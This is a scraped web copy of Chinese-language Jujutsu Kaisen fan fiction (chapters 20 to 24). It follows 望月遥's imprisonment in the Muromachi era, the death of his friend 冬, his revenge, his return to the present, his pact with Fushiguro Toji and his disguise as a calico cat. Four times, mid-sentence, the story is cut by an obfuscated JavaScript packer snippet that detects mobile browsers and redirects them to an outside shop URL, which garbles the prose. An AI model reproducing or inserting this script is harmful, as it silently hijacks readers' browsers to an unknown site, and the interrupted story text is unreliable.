望月遥没说话,他被那几个穿着黑色族衣的人毫不客气的拽起来,扔到了一旁的碎石地上,手心被磨破渗出血丝。 “带回去,让他成为我们的。” “忠犬。” 20. 百年的烬火 望月遥被带走的那天,京都的雨下得很大。 黑色的僧衣裹着他小小的身子,咒术师的手像铁钳一样扣着他的胳膊,他却没有哭,只是睁着冰蓝色的眼睛,看着雨幕里的京都城门,像在确认——这不是梦,冬还活着,他被抓去要挟他了。 他被关进了咒术塔最底层的囚笼,那是禅院家三御家分支的据点,藏在京都府衙的地下,连阳光都透不进来。 囚笼的铁栏上爬满黑紫色的咒纹,一碰就发烫,像无数条毒蛇在啃噬着空气。 与他同关的,是冬。 冬被关在隔壁的囚笼里,隔着一道狭窄的缝隙,能看见对方的脸。 少年的脸上沾着血污,胳膊上缠着渗血的绷带,是被咒术师的鞭抽出来的伤,可他看到望月遥的瞬间,还是笑了笑,用没受伤的手,轻轻敲了敲铁栏。 “白圭,我没事。” 望月遥看着他,嘴唇动了动,却发不出声音。 他只能伸出小手,隔着缝隙,摸了摸冬的手指。 冬的手很烫,是被雨水和血污浸出来的,望月遥的指尖碰到他的,冬却只是更用力地回握住。 …… “别害怕,他们不会杀我。”冬的声音很轻,像在哄一个真正的孩子,“他们要的是你,不是我,你不要反抗他们,保护好自己。” “我会没事的。” 望月遥看着他,眼泪终于从眼角滑下来,砸在冰冷的铁栏上,碎成小小的水珠。 他知道冬在骗他。 他能听见上层咒术师的对话,那些人隔着囚笼的墙壁,用贪婪的语气谈论着“驯化这头天灾”,谈论着“用那个野小子当饵,让他乖乖变成兵器”。 从那天起,望月遥的人生,成了一场没有读档的囚笼游戏。 禅院家的人教他控制“无”的术式,把他的手按在咒具上,逼他吞噬咒力。 他每次一抬手,身边的咒力就会像潮水般涌过来,连囚笼里的咒纹都被他啃成了灰,可他每次都刻意收敛,只让咒力停留在指尖,不伤害身边的人。 冬每天都会敲铁栏,跟他说话。 说山下村子里的趣事,说他以前卖柴时遇到的猎户大叔,说他给望月遥缝衣服时,把针戳到手指上的糗事。 他说这些的时候,脸上总带着笑,可望月遥能看见,他的手在抖,能看见他夜里偷偷咬着嘴唇,不让自己发出声音的模样。 “白圭,你要记住,你不是天灾。”冬的手指隔着缝隙,轻轻拂过望月遥的脸颊,“你只是个被他们利用的孩子。” 他知道。 望月遥看着隔着铁栏子的冬,说不出一句话。 “系统,你们这么设计游戏,真的不怕玩家emo吗。” 【……玩家,我已经emo了。】 望月遥没搭理系统,他只是看着面前的少年,努力的伸出手勾住冬的手指,一字一句道:“冬,我会带你出去的。” “我保证。” 可他只是个被关在囚笼里的孩子,连自己的自由都做不了主。 他看着冬的脸,看着他越来越苍白的脸色,看着他越来越虚弱的身子,第一次意识到,五百年前的自己,玩家的身份就像泡沫,一碰就碎。 冬因为有成为咒术师的潜能,在被那群家伙发现之后就带离了地牢,换了个地方去训练,不过几个月就让他出去做任务。 很多时候,都是冬带着一身伤回来看望月遥。 然后在天要亮之前被人带走,去出下一次任务。 望月遥长到十六岁的那天,咒术塔的囚笼第一次打开了。 禅院家的家主站在他面前,穿着绣着家纹的黑色长袍,脸上带着虚伪的笑容:“无,你已经能控制术式了,从今天起,你就是我们禅院家的兵器,去越前国的战场,帮我们平定乱世。” 望月遥站在囚笼里,穿着洗得发白的素衣,冰蓝色的双眼里没有任何情绪。 他知道,这是他的机会。 也是他的枷锁。 他被带到越前国的战场,硝烟裹着血腥味,咒灵的嘶吼和人的哭喊混在一起,像一场永远不会结束的噩梦。 禅院家的人把他推到最前面,咒纹在他手腕上发烫:“无,吞噬他们!把加茂家的咒术和咒灵都啃干净!” 望月遥看着眼前的惨状:平民倒在血泊里,咒术师的咒刃互相劈砍,特级咒灵“祸乱”张着血盆大口,要把整个战场吞下去。 他的指尖不受控制地泛起淡蓝色的光,“无”的力量在他身体里叫嚣,要把眼前的一切都啃成灰。 “我不想。”望月遥小声说,声音被淹没在战火里。 可禅院家的人,把冬推到了战场边缘。 冬被绑在一根柱子上,身上的衣服被血污浸透,脸色苍白得像纸,却还是朝着望月遥的方向,笑了笑,轻轻摇了摇头。 “别管我。”冬的口型这样说。 望月遥的指尖停住了。 他看着冬,看着那些咒术师的咒刃劈向冬的方向,看着禅院家的人喊着“杀了他,你要是不照我们说的做就杀了他!”,心里的愤怒和痛苦像火山一样爆发。 淡蓝色的光从他指尖爆发,像潮水般席卷整个战场。 加茂家的赤血咒被啃成了粉末,禅院家的咒具变成了废铁,特级咒灵“祸乱”在他的力量里尖叫着消散,连地上的鲜血、路边的草木、甚至天空中的云层,都被他一点点吞噬,变成了死寂的白。 百里之内,寸草不生。 禅院家的老人站在荒地中央,看着眼前的景象,眼睛里满是疯狂:“太强了!这就是天灾的力量!我们禅院家能掌控咒术界了!” 可望月遥却蹲在地上,看着自己的手,眼泪砸在焦黑的土地上。 他失控了。 这种感觉太恶心了。 他不喜欢这个游戏,他想退出了。 冬被他的力量震得倒在地上,嘴角淌着血,却还是撑着身子,爬到望月遥身边,用手轻轻抚过他的脸颊。 “没事了。”冬的声音很轻,“白圭,你没有错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332756|199182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 望月遥看着他,眼泪终于掉了下来。 他抱住冬,把脸埋在他的颈窝,闻着熟悉的麦香,心里的恐惧和无力终于找到了出口。 “冬,我带你离开。” “我带你离开。” 他要带着冬,离开这个吃人的咒术界,离开这场无尽的囚笼,去过普通人的生活。 如果这一切只是另一条时间线的故事,那他不管怎么做都没事的对吧? 望月遥带着冬,逃出了越前国的战场。 他的术式彻底失控后,禅院家的人被吓破了胆,以为他会毁灭咒术界,没人敢再追他。 他踩着焦黑的土地,一路往奥州的深山跑,跑了整整一个月,终于回到了那片烧焦的山根。 木屋已经烧成了平地,只剩下半块焦黑的麦饼,还放在原来的位置。 他在原地搭了个简陋的草棚,用焦土垒了个小灶,每天去山里找野菜,给冬煮野菜汤。 冬的身体越来越差,可他每天都会坐在草棚前,教望月遥怎么控制术式,教他把“无”的力量收敛在指尖,只用来啃噬咒灵,不碰活物。 “你看,这样就不会伤到别人了。”冬的手指轻轻点在望月遥的指尖,淡蓝色的光只吞噬了一只爬来的咒灵,旁边的野花却完好无损。 望月遥看着他,笑了。 这是他来到室町时代后,这么多年里,他第一次真正的笑。 他以为,他们可以安安静静的生活下去。 可咒术界,从来都不会放过他。 那天,望月遥去镇上买盐,回来时,草棚被烧成了灰烬。 冬倒在门口,胸口插着一把禅院家的咒刀,脸上还带着没来得及收起的温柔。 望月遥的世界,瞬间崩塌了。 他抱着冬,跪在焦黑的土地上,冰蓝色的眼睛里流下了眼泪。 “冬……” “我带你出去……我带你回家……” 冬的手指动了动,轻轻拂过望月遥的脸颊,嘴角扯出一抹温柔的笑。 “白圭,活下去。” “别被力量吞噬。” “做个普通人。” “如果可以的话……别忘了我。” 这是冬最后说的话。 然后,他的手,垂了下去。 望月遥抱着他,坐在燃烧的灰烬里,没有哭。 只是他的冰蓝色的眼睛里,再也没有了光。 他的“无”术式,再次失控。 只是这一次,他没有吞噬任何东西。 他把自己的力量,一点点收敛,凝聚成一颗淡蓝色的珠子——那是天灾之核,是他所有力量与记忆的容器。 他把天灾之核,埋进了焦黑的土地里。 然后,他背着冬的柴刀,走出了这座山。 “我累了,系统。” 【……我们回家吧,遥。】 再次听到遥这个名字,他恍惚了一瞬。 “好。” “我们回家。” 21. 雪落无声 可系统的声音里,藏着他从未听过的疲惫。 【时空锚点已损毁,天灾之核的力量干扰了时间线,我们……回不去了。】 【我们被困在了室町时代的夹缝里,直到你走完这一世,直到天灾之核彻底沉睡。】 望月遥站在山脚下,看着远方京都的方向,笑了。 风卷着焦土的味道扑在脸上,像冬最后一次摸他脸颊时的温度,他把那半块焦黑的麦饼揣进怀里,柴刀背在肩上,淡蓝色的眼睛里,第一次燃起了冰冷的火。 “回不去了啊……”他轻声说,声音里没有悲伤,只有淬了骨的冷,“那便不回了。” “冬的仇,我要讨。” “咒术界欠他的,我要讨回来。” 他的第一站,是京都禅院家的据点。 那天夜里,他翻进咒术塔的高墙,柴刀劈碎了囚笼的铁栏,淡蓝色的光从指尖漫开,将那些刻着“驯化天灾”的咒纹啃成了灰。 禅院家的咒术师举着咒刃扑过来,他没有躲闪,只是抬手,“无”的力量像潮水般卷过,那些咒力、那些咒具、那些带着贪婪的眼神,瞬间化作了半透明的尘埃。 他没有杀普通人,甚至放过了那些被胁迫的低阶咒术师——冬说过,别被力量吞噬,别伤害无辜。 可他毁了禅院家的咒术库,拆了他们的囚笼,在咒术塔的墙壁上,用刀刻下一行字: “白圭无玷,冬之仇,必报。” 消息像野火般烧遍了咒术界。 那个被称为“天灾”的少年,从奥州的深山里走了出来,背着一把裂柄柴刀,揣着半块麦饼,以一人之力,对抗整个咒术界。 禅院家悬赏他的人头,加茂家派来精锐追杀,五条家的术者也在暗处窥伺——他们怕他的力量,怕他颠覆咒术界的秩序,更怕他揭开“天灾”背后的真相:他们不过是一群贪婪的刽子手,害死了一个无辜的少年,还要将另一个少年炼成兵器。 他开始了颠沛的流浪。 从京都到越前,从奥州到陆奥,他的足迹踏遍了整个日本的山河。 雪夜里,他躲在破庙里,就着雪水啃麦饼,系统会陪着他说话,只有系统会叫他“遥”,会记得他是那个想摸鱼刷副本、想吃草莓蛋糕的高专学生,而不是这个吃人的时代的咒术师们口中的“天灾”。 【遥,别太累了,你的咒力消耗太多了。】 “我没事。”他靠在柴刀上,看着窗外的雪,声音很轻,“系统,你说冬现在会不会在看着我?” 【会的,他一定在看着你。】 他笑了,把麦饼攥得更紧,像攥着冬最后的温度:“那我不能输,我要让所有害死他的人,都付出代价。” 咒术界的追杀从未停止。 在越前的战场,他被加茂家的赤血咒围困,淡蓝色的光与血色的咒力撞在一起,他的胳膊被咒刃划伤,鲜血顺着柴刀往下淌,可他没有退,只是一步步往前走,“无”的力量拆解了赤血咒,将那些追杀他的咒术师逼得连连后退。 “你这个怪物!”加茂家的少主嘶吼着,“你会毁灭咒术界的!” 他看着对方,冰蓝色的眼睛里没有任何情绪:“我不是怪物,我是白圭。” “是你们,先毁了我的家。” 在陆奥的海边,他被五条家的术者偷袭,无量空处的光芒刺得他睁不开眼,可他的“无”术式却将那片虚空一点点吞噬,最后他站在海浪里,柴刀指着对方的喉咙:“告诉五条家的人,别来惹我。” “这一切与他们无关。” “我不想毁灭咒术界,我只想讨回我的公道。” 系统陪着他走过了一个又一个春秋,看着他从少年长成青年,看着他的柴刀换了三次木柄,看着他怀里的自己雕刻麦饼越来越旧,看着他冰蓝色的眼睛里,从最初的愤怒,慢慢变成了麻木,最后只剩下一片死寂。 他杀了很多人,却从来没碰过无辜的平民;他毁了很多咒术家族的据点,却从来没烧过一间百姓的屋子;他对抗整个咒术界,却从来没忘记冬的遗言——别被力量吞噬,做个普通人。 可他再也做不成普通人了。 他是咒术界口中的“天灾”,是所有家族的公敌,是连阳光都不敢轻易触碰的存在。 他只能在夜里行走,在山里躲藏,在雪夜里抱着柴刀,想念那个会笑着叫他“白圭”的少年。 【遥,你后悔吗?】系统的声音里带着心疼,【如果当初我们没有回到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332757|199182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这里,你现在应该在高专,和五条悟他们一起吃草莓蛋糕,拆限定手办。】 他靠在树上,看着天上的月亮,轻声说:“不后悔。” “如果重来一次,我还是会选择救冬。” “只是……有点想高专了,想悟的草莓蛋糕,想硝子的笑容,想杰的打趣……” 他顿了顿,平淡无波的声音里带着一丝哽咽:“想做回那个没心没肺的望月遥。” 又过了三十年,他五十岁了。 可时光却像是把他遗忘了一般,他的容貌始终保持在青年的状态。 咒术界的人老了一批又一批,可对他的追杀从未停止,他们称他为“不死的天灾”,说他是咒术界的毒瘤,必须被清除。 “系统,我真的需要心理委员哦。” 在最后的时刻,望月遥还有心情和陪伴了他五十年的系统开玩笑,可系统却笑不出来。 【遥,咱俩一起看心理委员。】可望月遥有多久没和它这样开玩笑了,他舍不得,所以它接上了望月遥的话。 “话说,这真的是游戏吗。” 【……是啊,当然是游戏啦。】 “那我一定要给差评。” 【好,我帮你写长篇评论。】 在一个雪夜里,他回到了奥州的那片焦土,回到了埋着天灾之核的地方。 雪落在他的头发上,像冬当年给他盖的干草,他蹲在地上,一点点挖开焦黑的土地,把那颗淡蓝色的天灾之核挖了出来。 珠子还在发光,像他冰蓝色的眼睛,像冬眼里的星光。 他把自己的力量,一点点注入天灾之核,将所有的记忆、所有的愤怒、所有的思念,都封存在珠子里。 “未来的我会拿到这颗珠子的吧。”他的眼睛缓缓闭上,轻声呓语。 淡蓝色的光从他身体里漫开,将他和天灾之核一起,埋进了焦黑的土地里。 雪落在上面,慢慢覆盖了所有的痕迹。 就像从来没有过一个叫白圭的少年,从来没有过一场跨越五百年的复仇,从来没有过一个叫冬的孤儿,用命换了另一个少年的一生。 【系统提示:即将回归正常时间线。】 【欢迎回家,遥。】 22. 请你向前走 “咳——” 呛人的腐臭味钻进鼻腔,望月遥猛地睁开眼,冰蓝色的瞳孔里没有了五百年前的悲恸,只剩一片沉寂的平静。 他躺在腐秽之巢的废墟里,断梁斜斜压在身侧,黑色的黏液还在地面缓慢流淌,远处传来咒灵的嘶吼,还有系统带着温度的声音,不再是往日的机械冰冷: 【遥,欢迎回来。】 “我回来了。”他撑着断墙站起来,指尖拂过地面的焦痕,五百年的记忆像翻书般掠过脑海——他记得冬的温度,记得焦土的滚烫,记得天灾之核的微光,却再也没有了撕心裂肺的痛,只剩旁观者般的清醒。 他是望月遥,是第四天灾,不是白圭,更不是望月无。 控制特级咒灵的那个高层的人已经在咒灵的暴走下成了一滩肉泥,失去控制的咒灵正在不受控的扩大领域覆盖的范围。 咒术高层的那群老家伙向来是成事不足,败事有余的。 【系统提示:腐秽之巢领域残留咒力暴动,已被咒术高层检测到异常。】 【紧急预警:高层已下达「天盖」指令,半小时后将启动全域咒术,销毁整个病院区域,所有生命体——包括特级咒灵残党、玩家,以及NPC伏黑甚尔,都将被一同抹除。】 望月遥的眉梢动了动,淡蓝色的咒力在指尖流转,淡得像一层薄冰。 他能感知到顶楼的咒力波动——甚尔天与咒缚气息混着咒灵的嘶吼,还有远处高空传来的、属于高层咒术师的冰冷压迫感。 那些老东西,连伏黑甚尔这种工具人都不肯放过。 “去找他。”他低声说,系统的光球飘在他肩头,泛着柔和的光: 【好,我带你去。】 他踩着碎瓦往顶楼走,冰棱在脚下蔓延,将黏腻的黏液冻成脆响的冰壳。 顶楼的天台已经被咒灵傀儡围得水泄不通,伏黑甚尔握着天逆鉾,风衣上沾着黑紫色的黏液,正一刀劈碎扑过来的咒灵头颅,暗绿色的眼睛里满是不耐。 “小鬼,你终于醒了。”甚尔瞥了他一眼,天逆鉾的刃尖挑飞另一只咒灵的胳膊,语气懒懒散散,“我还以为你死在五百年前的雪地里了,连个收尸的都没有。” “我杀了六次都没杀成功,你要是这么轻易地死了我会很生气的。” 伏黑甚尔看到了那段记忆,他没什么绝望的往事,所以很轻易的挣脱了术式,但却意外看到了属于那个天灾的记忆。 “我没那么容易死。”望月遥站在他身侧,冰棱瞬间展开,将扑过来的咒灵冻成冰雕,“甚尔先生,你还有闲心砍咒灵?高层要把整个病院炸了,连你一起埋在里面。” 甚尔的动作顿了顿,天逆鉾的刃尖抵在一只咒灵的眉心,嗤笑一声:“我当是什么大事,那群老东西,从来都是这么没种。” “他们要的是我,是天灾之核。”望月遥看着他,冰蓝色的眼睛里没有情绪,只有冷静的算计,“你只是被牵连的工具人,连那一亿赏金都拿不到,还要死在这里。” 甚尔的眉梢挑得更高,天逆鉾收了回来,靠在肩上:“小鬼,你想说什么?” “合作。”望月遥的指尖泛起淡蓝色的光,天灾之核的力量在他身体里苏醒,既有吞噬一切的毁灭,也有冻结万物的守护,“我帮你挡住「天盖」咒术,解决掉腐秽之巢的残党,让你活着离开这里。 事后我会付你远超现在的赏金——现在的三倍。 他顿了顿,补充道:“你帮我拖住高层派来的先遣队,别让他们干扰我,我们各取所需,谁也不亏。” 甚尔盯着他看了半晌,暗绿色的眼睛里闪过一丝玩味。 眼前的少年变了,多了几十年记忆的积累,不再是那个只会吐槽、炸毛的小鬼,眼底藏着五百年的沉定,连术式的气息都变得沉稳——既有吞噬一切的狠戾,又有不动声色的温柔。 “成交。”甚尔把天逆鉾插回刀鞘,抽出游云,“不过要是你耍我,小鬼,我就先把你劈成两半,再去跟高层同归于尽。” “我从不耍人。”望月遥笑了笑,冰棱瞬间席卷整个天台,将所有咒灵傀儡冻成一座座冰雕,“毕竟,我们都想活着。” 【系统提示:「天盖」咒术启动倒计时:10分钟。】 【先遣队已抵达病院外围,共7名一级咒术师,目标:确认天灾之核位置,启动「天盖」。】 【遥!】 甚尔率先冲了出去,游云的破空声混着咒灵的嘶吼,他的天与咒缚□□力量撞碎冰雕,将扑过来的咒灵傀儡劈成两半,连咒纹都懒得找,干脆利落得像在切菜。 望月遥跟在他身后,冰棱在脚下蔓延,一边冻结咒灵黏液,一边构筑起厚重的冰墙,将病院区域和外界隔离开——这是他第一次用「无」的力量做守护,不是吞噬,不是毁灭,只是为了护住眼前的人,护住他想回去的家。 “小鬼,你这术式倒是变温柔了。”甚尔劈碎一只咒灵的脑袋,回头瞥了他一眼,语气里带着点调侃,“之前那剑刃真吓人。” “不要开玩笑了,甚尔先生。”望月遥的指尖泛起淡蓝色的光,将扑过来的咒术师咒刃冻成冰渣,“我一直都很温柔,不像你,永远这么暴力。” 甚尔嗤笑一声,游云的划破风闪过一道冷光,将一名咒术师的咒具劈成废铁:“暴力才有用,不像你,磨磨唧唧的。” 两人背靠背站着,一个冷漠功利,一个沉定温柔,在腐秽的废墟里,展开了一场与咒灵、与咒术高层的对决。 冰棱的碎裂声混着天逆鉾的破空声,咒灵的嘶吼渐渐被淹没,先遣队的咒术师们一个个倒在地上,咒力被冰棱冻结,连反抗的机会都没有。 【系统提示:「天盖」咒术启动倒计时:1分钟。】 【核心咒术师已抵达高空,「天盖」咒力凝聚完成。】 望月遥抬头看向天空,淡蓝色的光在他指尖汇聚,天灾之核的力量彻底苏醒——那是五百年前白圭的执念,是冬用命教会他的温柔,是他作为望月遥的坚守。 “甚尔先生,躲好。”他低声说,冰棱瞬间冲天而起,化作一道巨大的冰盾,将整个病院区域笼罩其中。 “小鬼,你疯了?!”甚尔的声音里第一次带上了惊厉,“「天盖」你挡不住的!” “我能。”望月遥的声音很轻,却带着前所未有的坚定,“甚尔先生,我啊……可是第四天灾啊。” 淡蓝色的光从他身体里爆发,竖起的屏障在「天盖」的咒力冲击下剧烈震颤,却没有碎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332758|199182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裂——他的「无」术式,终于学会了吞噬与守护的平衡,一边吞噬「天盖」的咒力,一边用冰棱加固屏障,将毁灭的力量,转化为守护的温度。 天空中的咒术师们看着下方的冰盾,脸色惨白:“不可能!天灾之核怎么会有守护的力量?!” 一道黑色的身影冲着空中的几人攻去。 “因为他不是天灾。”伏黑甚尔嗤笑一声,暗绿色的眼睛里第一次闪过一丝复杂的情绪,“他只是个想活着的小鬼。” 「天盖」的咒力渐渐消散,冰盾慢慢融化,化作细碎的星光,落在废墟里。 高层的先遣队被彻底击溃,咒术师们狼狈撤退,特级咒灵也被清理干净,整个病院区域终于恢复了平静。 望月遥撑着膝盖喘了口气,冰蓝色的眼睛里带着一丝疲惫,却亮得像星星。 系统的声音温柔得像冬当年的抚摸: 【遥,你做到了。】 “嗯。”他笑了笑,直起身子,看向身边的甚尔,“甚尔先生,我们的合作,完成了。” 甚尔靠在断墙上,把游云收起,“记得赏金,别赖账。” “我不会赖账。”望月遥眉眼弯起,笑的开心,“甚尔先生,以后,我们可能还要合作。” “随便。”甚尔嗤笑一声,转身往楼下走,风衣的衣角扫过碎瓦,“只要钱给够,我什么都干。” “这次真是个亏本买卖,以后这种费力的委托我可再也不要接了。” 望月遥看着他的背影,笑了笑,抬头看向天空。 阳光透过破碎的窗户照进来,落在他的脸上,暖得像冬当年的怀抱。 【遥,我们走吧,高专回不去了。】 是啊,这次他闹出的动静很大,等那群败家之犬回去一定会发布对他的通缉令。 “感觉还挺新奇,我居然要成诅咒师了。”望月遥拿出手机,最后看了一眼消息列表里的人,随后毫不犹豫的关机。 “看样子,我们要开始逃亡了,你说我刚刚为什么没有留一下伏黑甚尔呢?” 【亲,这就要问你啦。】系统88飘到望月遥肩头,蹭了蹭他的脸颊,【对了,差评我已经帮你写好了,要不要看看还有没有需要补充的?】 “……你还真写了啊。”望月遥用着一言难尽的眼神看向脸侧的光球,“你的东家知道了要把你做成数据饼的吧?” 【呵忒!】系统88狠狠地吐了口电子唾沫,【我不仅帮你写我还要自己写!那垃圾破补丁都是什么玩意,就算我是电子小辣鸡我也是有统权的!】 【那十几年我也玉玉了,我emo!我需要心理委员!给我擦皮鞋!】 “哈哈哈哈哈。”望月遥笑了。 【你笑啥,你不玉玉。】系统88嫌弃道,【当时你哭的最惨,回来了就不认账了。】 “老实说,我没什么感觉。”望月遥坦诚道,“那确实是我经历的一切,我会觉得愤怒,难过,但真要说绝望到要毁灭一整个世界,那倒不至于。” “所以说你们策划到底是什么神人啊,刀起玩家来那真是毫无底线啊。” 【神人树上神人果,神人树下你和我。】 【行了,走吧走吧,再不走,抓你的要来咯~】 23. 第四天灾是三花猫 系统88的声音带着点跳脱的催促,淡蓝色光球在他眼前晃了晃,弹出半透明的道具面板: 【道具:“百变小狸”——可将玩家变为任意中小型动物,期间咒力完全屏蔽,无法被任何咒术师感知,仅保留基础感官与微弱意识连接。】 【备注:策划良心发现(才怪),给你留的跑路道具,选个顺眼的动物,别被人炖了。】 望月遥看着面板上的选项,冰蓝色的眼睛里闪过一丝笑意:“总比被高层抓去囚禁了,切片研究好。” “选什么合适?要能混在高专里,不扎眼,还能跟着学弟。”他指尖划过选项,系统立刻抢答: 【选三花猫!三色猫在日本遍地都是,高专里本来就有几只流浪猫,你混进去根本没人发现!体型小,能躲书包、钻口袋,跟着七海和灰原到处跑,还能蹭饭吃!】 “三花猫?”他挑了挑眉,看着自己掌心残留的冰棱微光,“听起来像个软乎乎的糯米团子,行,就它了。” 淡蓝色的光从他身体里漫开,像春日融冰般包裹住四肢,咒力彻底收敛,连系统的气息都藏得严严实实。 等光散去时,一只巴掌大的三花猫蹲在腐秽之巢的废墟里,背上是橘、黑、白三色交错的软毛,肚子和爪子是雪一样的白,圆溜溜的小蓝眼,连耳朵尖都带着点粉,看起来软得能掐出水来,任谁也想不到就在几秒钟前他还是个咒术师。 【哈哈哈哈!你现在看起来像个会跑的三色糯米糍!】系统88在他意识里笑疯了,【早知道你变猫这么可爱,我就提前给你存猫薄荷了!】 “闭嘴。”望月遥在意识里翻了个白眼,试着抬了抬爪子,肉垫踩在碎瓦上软乎乎的,连一点声响都没有,“去找七海和灰原。” “之前他们说了暑假要来高专提前适应。” 他踩着碎瓦往高专走,三花猫的体型灵活得惊人,能轻易钻过路边的灌木丛,避开行人的脚步。 夏末的阳光落在他背上,暖得发烫,他晃了晃蓬松的尾巴,突然觉得这样的日子也不错,不用面对通缉令,不用纠结天灾之核,只是一只普通的流浪猫,陪着学弟们适应新的生活。 他一路走一路停,用猫的身体从江东区回高专还是有些困难的。 这一路他用了一天的时间。 走到高专门前,他一眼就看到了那两个熟悉的身影。 七海建人穿着干净的白衬衫,站在樱花树下翻着一本厚厚的书,少年人的眉眼还带着未脱的青涩,却已经有了日后沉稳的轮廓——大半个月前他还在为升学考试熬夜刷题,现在考完试,脸上少了几分紧绷,多了几分松弛。 灰原雄穿着运动服,手里攥着个棒球,蹦蹦跳跳地跟在他身边,叽叽喳喳地讲着路上遇到的低级咒灵,眼睛亮得像盛夏的星子。 “七海!你看高专的樱花树!比我想象的还好看!”灰原雄指着满树粉白的花瓣,语气里满是兴奋,“等我们入学了高专我们就能一起祓除咒灵了,到时候我要第一个冲上去!” 七海建人合上书,无奈的揉了揉太阳穴,指尖轻轻敲了敲书页:“先适应环境吧。” 望月遥蹲在灌木丛里,碧蓝的眼睛里满是温柔。 他上次见七海,还是对方泡在图书馆里啃习题的模样,连吃饭都要掐着表,现在考完试了,整个人都放松下来,像株终于舒展枝叶的小树。 “喵~”他试探着叫了一声,声音软乎乎的,带着点奶气的颤音,完全不像往日里跳脱的少年。 两个少年同时转过头,看到了灌木丛里的三花猫,眼睛里都闪过惊喜。 “好可爱的小猫!”灰原雄立刻跑过来,蹲在他面前,小心翼翼地伸出手,指尖悬在半空不敢碰,“你是高专的流浪猫吗?” 望月遥看着他伸过来的手,犹豫了一瞬,然后凑过去,用毛茸茸的脑袋蹭了蹭他的指尖——软乎乎的毛发蹭得灰原雄笑出了声,眼睛弯成了月牙。 “它好乖!”灰原雄轻轻摸了摸他的脑袋,语气里满是欢喜,“七海你看!它不怕人!” 七海建人也走过来,蹲在他面前,温和的目光扫过他的毛发,确认没有伤口后,从书包里拿出一个海苔饭团,掰了一小块递到他嘴边:“应该是饿了,吃点东西吧。” 海苔的咸香混着米饭的温热飘进鼻子里,他凑过去,小口小口地咬着饭团,软乎乎的脸颊鼓起来,像只囤粮的小仓鼠。 “我们给它起个名字吧!”灰原雄摸着他的尾巴,眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332759|199182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亮得像星星,“它身上有三种颜色,叫‘三色’好不好?” 七海建人看着小猫埋头干饭的模样,温和地点了点头:“好,就叫三色。” 望月遥在意识里翻了个白眼——三色?这名字也太随便了!但他没反抗,只是蹭了蹭灰原雄的手腕,碧蓝的眼睛里满是顺从。 现在的他,只是一只叫三色的三花猫,名字不重要,能陪在学弟身边就够了。 接下来的时间,他以“三色”的身份,彻底融入了两个少年的高专生活。 他跟着他们在校园里散步,蹭七海书包里的饭团,躲在灰原的运动服口袋里跟着去图书馆,甚至在他们遇到低级咒灵时,偷偷用被压制到极致的冰系咒力——只冻住咒灵的脚踝,不让它们靠近学弟,连一点咒力波动都不会泄露。 系统88在他意识里吐槽:【你现在简直是猫版保姆!以前喊着要刷副本打怪的第四天灾,居然给学弟当猫!】 “闭嘴。”望月遥趴在七海的课本上,尾巴卷成一团,碧蓝色的眼睛里满是平静,“我喜欢这样,看着他们成长就很好。” 他看着七海建人认真标注习题的侧脸,看着灰原雄趴在桌上打盹的模样,心里是找到归处的安定。 傍晚的风卷着夏末的燥热,吹过高专的樱花树,落了一地粉白的花瓣。 望月遥趴在七海的膝盖上,看着少年温和的侧脸,发出满足的呼噜声。 “三色好像很喜欢这里。”七海建人轻轻摸了摸他的脑袋,语气里带着温柔的笑意。 灰原雄凑过来,戳了戳他的肚皮:“当然啦!这里有我们,还有好吃的饭团!” 望月遥闭着眼睛,蹭了蹭七海的掌心,呼噜声更响了。 他没事就喜欢趴在高专门口往外看,回来这几天他一直没见过五条悟和夏油杰,不知道他们到底去哪出任务了,一直不回来。 距离他出那个任务已经过了五天了,想来他叛逃的消息已经被高层那些人放出来了吧。 他打了个哈欠,双眼迷蒙的看向远处,他一声不吭就这么消失还被冠上了叛逃的罪名,悟和杰大概率会削死他吧。 …… 等他们回来吧。 他还想再看看他们呢。 24. 第四天灾和他的最强四人组 三花喵遥在高专这边岁月静好,五条悟和夏油杰在东京的街头到处疯找。 